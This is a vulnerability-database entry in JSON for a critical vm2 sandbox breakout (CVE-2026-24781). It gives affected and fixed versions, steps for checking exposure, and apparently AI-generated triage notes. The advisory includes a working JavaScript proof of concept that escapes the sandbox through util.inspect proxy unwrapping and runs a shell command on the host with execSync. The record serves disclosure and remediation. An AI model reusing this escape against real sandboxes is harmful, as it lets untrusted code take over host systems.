{"id":"CVE-2026-24781","kind":"vulnerability","aliases":["CVE-2026-24781","GHSA-v37h-5mfm-c47c"],"related":[],"title":"VM2 Has Sandbox Breakout Through Inspect Function","description":"### Summary\n\nVM2 suffers from a sandbox breakout vulnerability through the `inspect` function. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system.\n\n### Details\n\nThe node `inspect` method allows to log details of objects. To get to the details, the implementation unwraps proxies. The unwrapped values can be extracted using the `this.seen` of the `stylize` function. This allows to get access to the internal proxy handler of VM2 which contains the sandbox object. Since the access to the handler is itself wrapped by a VM2 proxy, accessing the sandbox object in the proxy handler will result in a wrapped sandbox object given into the sandbox. This allows to write a wrapped host object to the wrapped sandbox object and read the raw host object from the raw sandbox object bypassing the proxy bridge.\n\n### PoC\n\n```js\nconst obj = {\n\tsubarray: Buffer.prototype.inspect,\n\tslice: Buffer.prototype.slice,\n\thexSlice:()=>'',\n\tl:{__proto__: null}\n};\n\nobj.slice(20, {showHidden: true, showProxy: true, depth: 10, stylize(a) {\n\tif (this.seen?.[1]?.objectWrapper) this.seen[1].objectWrapper().x = obj.slice;\n\treturn a;\n}});\nobj.l.x.constructor(\"return process\")().mainModule.require('child_process').execSync('touch pwned');\n```\n\n### Impact\n\nAttackers can perform Remote Code Execution under the assumption that arbitrary code can be executed inside the context of a vm2 sandbox.","summary":"vm2 is a Node.js library that runs untrusted code in a sandbox. A flaw in how the inspect function unwraps proxies lets sandboxed code reach the host object and run arbitrary commands on the host system.","severity":"critical","cvss":9.8,"epss":0.01186,"exploited":false,"exploited_at":null,"products":[{"name":"vm2","fixed":["3.11.0"],"affected":"< 3.11.0","ecosystem":"npm"},{"name":"vm2 project vm2","fixed":["3.11.0"],"affected":"< 3.11.0","ecosystem":"vendor"}],"ecosystems":["npm","vendor"],"tags":["cwe-653","cwe-693","cwe-94","node","package","sandboxes","user-supplied-code","vm2"],"not_affected_if":["fixed-version","no-untrusted-code","vm2-not-used"],"how_to_check":"- Check the installed vm2 version with `npm ls vm2` in each project and lockfile.\n- Look for `vm2` in `package.json` dependencies, including transitive ones.\n- Confirm whether the sandbox runs code that an attacker can influence, such as user-submitted scripts.","fix":"- `vm2` `3.11.0`: upgrade to this version or later (affected: below `3.11.0`).","status":"open","published_at":"2026-05-04T17:16:21+00:00","first_seen_at":"2026-11-04T03:31:21+00:00","triaged_at":"2026-11-04T03:32:43+00:00","updated_at":"2026-11-04T03:46:40+00:00","category":"package","confidence":0.85,"triage":{"at":"2026-11-04T03:32:43Z","model":"claude-haiku-5-5","output":{"fix":"- `vm2` `3.11.0`: upgrade to this version or later (affected: below `3.11.0`).","reach":"unknown","title":"vm2: sandbox escape through util.inspect lets code run on host","impact":"high","summary":"vm2 is a Node.js library that runs untrusted code in a sandbox. A flaw in how the inspect function unwraps proxies lets sandboxed code reach the host object and run arbitrary commands on the host system.","audience":"developers","category":"package","nicknames":[],"who_cares":["node","vm2","sandboxes","user-supplied-code"],"confidence":0.85,"fix_status":"available","needs_auth":"unknown","worst_case":"Sandboxed code runs commands on the host system","analyst_note":"Confirm whether the advisory states any scope limits on who can reach the sandbox and whether a workaround exists for versions that cannot upgrade; check the GHSA advisory at https://github.com/advisories/GHSA-v37h-5mfm-c47c.","how_to_check":"- Check the installed vm2 version with `npm ls vm2` in each project and lockfile.\n- Look for `vm2` in `package.json` dependencies, including transitive ones.\n- Confirm whether the sandbox runs code that an attacker can influence, such as user-submitted scripts.","plain_action":"","needs_analyst":true,"not_affected_if":["no-untrusted-code","vm2-not-used","fixed-version"],"who_is_affected":"Applications that use vm2 to run untrusted or user-supplied JavaScript are exposed, because the sandbox is the only barrier between that code and the host. Projects that only run their own trusted code inside vm2, or that do not use vm2 at all, have less exposure. The sources do not say whether the affected code paths are reachable in every vm2 configuration.","user_interaction":"no","needs_special_setup":"unknown","severity_if_unknown":"critical"},"cost_usd":0.000803,"input_tokens":4710,"output_tokens":664,"severity_before":"critical"},"analyst_status":null,"analyst_note":null,"search":"'-2026':9A,17A '-24781':10A,18A '-653':24B '-693':26B '-94':28B '1':240C,243C '10':235C '20':229C '5mfm':14A 'access':143C,158C,169C 'allow':86C,111C,140C,189C 'arbitrari':67B,100C,269C 'assumpt':267C 'attack':87C,259C 'breakout':4A,79C 'bridg':215C 'buffer.prototype.inspect':221C 'buffer.prototype.slice':223C 'bypass':212C 'c47c':15A 'child':253C 'code':35B,45B,60B,90C,263C,270C 'command':68B,101C 'const':218C 'contain':152C 'context':276C 'cve':8A,16A 'cwe':23B,25B,27B 'depth':234C 'detail':106C,114C,121C 'escap':93C 'execsync':255C 'execut':99C,264C,273C 'extract':131C 'flaw':50B 'function':7A,55B,84C,138C 'get':118C,142C 'ghsa':12A 'ghsa-v37h-5mfm-c47c':11A 'given':184C 'handler':148C,161C,176C 'hexslic':224C 'host':63B,71B,104C,194C,205C 'impact':258C 'implement':123C 'insid':274C 'inspect':6A,54B,83C,109C 'intern':146C 'js':217C 'l':225C 'let':58B 'librari':41B 'log':113C 'mainmodule.require':252C 'method':110C 'node':29B,108C 'node.js':40B 'null':227C 'obj':219C 'obj.l.x.constructor':249C 'obj.slice':228C,246C 'object':64B,116C,155C,172C,183C,195C,200C,206C,211C 'objectwrapp':241C,244C 'packag':30B 'perform':261C 'poc':216C 'process':251C,254C 'project':21A 'proto':226C 'proxi':57B,125C,147C,168C,175C,214C 'pwned':257C 'raw':204C,209C 'reach':61B 'read':202C 'remot':262C 'result':178C 'return':247C,250C 'run':43B,66B 'sandbox':3A,31B,48B,59B,78C,97C,154C,171C,182C,187C,199C,210C,280C 'showhidden':230C 'showproxi':232C 'sinc':156C 'slice':222C 'styliz':137C,236C 'subarray':220C 'suffer':75C 'summari':73C 'suppli':34B 'system':72B,105C 'this.seen':134C,239C,242C 'touch':256C 'true':231C,233C 'untrust':44B 'unwrap':56B,124C,127C 'use':132C 'user':33B 'user-supplied-cod':32B 'v37h':13A 'valu':128C 'vm2':1A,19A,20A,22A,36B,37B,74C,96C,150C,167C,279C 'vulner':80C 'wrap':164C,181C,193C,198C 'write':89C,191C 'x':245C","nicknames":[],"mitigations":[],"who_affected":"Applications that use vm2 to run untrusted or user-supplied JavaScript are exposed, because the sandbox is the only barrier between that code and the host. Projects that only run their own trusted code inside vm2, or that do not use vm2 at all, have less exposure. The sources do not say whether the affected code paths are reachable in every vm2 configuration.","tier":"B","verified":{},"analyst_revisit_at":null,"fix_status":"available","audience":"developers","plain_action":null,"pkeys":["projectvm2","vm2","vm2projectvm2"],"ptokens":["project","vm2"],"labels":["critical","cwe653","cwe693","cwe94","node","npm","package","sandboxes","usersuppliedcode","vendor","vm2"],"campaign_type":null,"first_public_at":"2026-05-01T20:39:37+00:00","kev":null,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","cvss_by":"GitHub","poc_count":0,"sources":[{"source":"ghsa","external_id":"GHSA-v37h-5mfm-c47c","url":"https://github.com/advisories/GHSA-v37h-5mfm-c47c","severity":"critical","published_at":"2026-05-05T16:33:14+00:00","modified_at":"2026-11-04T03:28:26+00:00","first_seen_at":"2026-11-04T03:31:21+00:00","fetched_at":"2026-11-04T03:31:21+00:00","note":null},{"source":"nvd","external_id":"CVE-2026-24781","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-24781","severity":null,"published_at":"2026-05-04T17:16:21+00:00","modified_at":"2026-10-26T19:10:00+00:00","first_seen_at":"2026-11-04T03:46:40+00:00","fetched_at":"2026-11-04T03:46:40+00:00","note":null}],"documents":[{"id":63600,"url":"https://api.github.com/repos/patriksimek/vm2/security-advisories/GHSA-v37h-5mfm-c47c","title":"Maintainer's advisory: api.github.com","kind":"vendor","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"advisory","confidence":null,"note":"Maintainer's advisory: api.github.com"},{"id":63601,"url":"https://github.com/patriksimek/vm2/security/advisories/GHSA-v37h-5mfm-c47c","title":"Maintainer's advisory: github.com","kind":"vendor","source":"ghsa","publisher":"vendor","text":null,"published_at":"2026-05-01T20:39:37+00:00","relation":"advisory","confidence":null,"note":"Maintainer's advisory: github.com"},{"id":63602,"url":"https://github.com/patriksimek/vm2/commit/8d30d93213c1898b3e035298b89a814970dd1189","title":"Patch: github.com","kind":"other","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"fix","confidence":null,"note":"Patch: github.com"},{"id":63603,"url":"https://github.com/patriksimek/vm2/commit/bdd3d15e57bc4ec5e70365cd79f7cb0256e5f88c","title":"Patch: github.com","kind":"other","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"fix","confidence":null,"note":"Patch: github.com"},{"id":63604,"url":"https://github.com/patriksimek/vm2/commit/fd266d084e0a3322d0f71ba2a8dc4c96cd030228","title":"Patch: github.com","kind":"other","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"fix","confidence":null,"note":"Patch: github.com"},{"id":63594,"url":"https://github.com/patriksimek/vm2/releases/tag/v3.11.0","title":"Release: github.com","kind":"release","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"fix","confidence":null,"note":"Release: github.com"}],"notice":"Free to read at a human pace. An API with keys and an MCP server are in preparation; early access: hello@infrastack.ai"}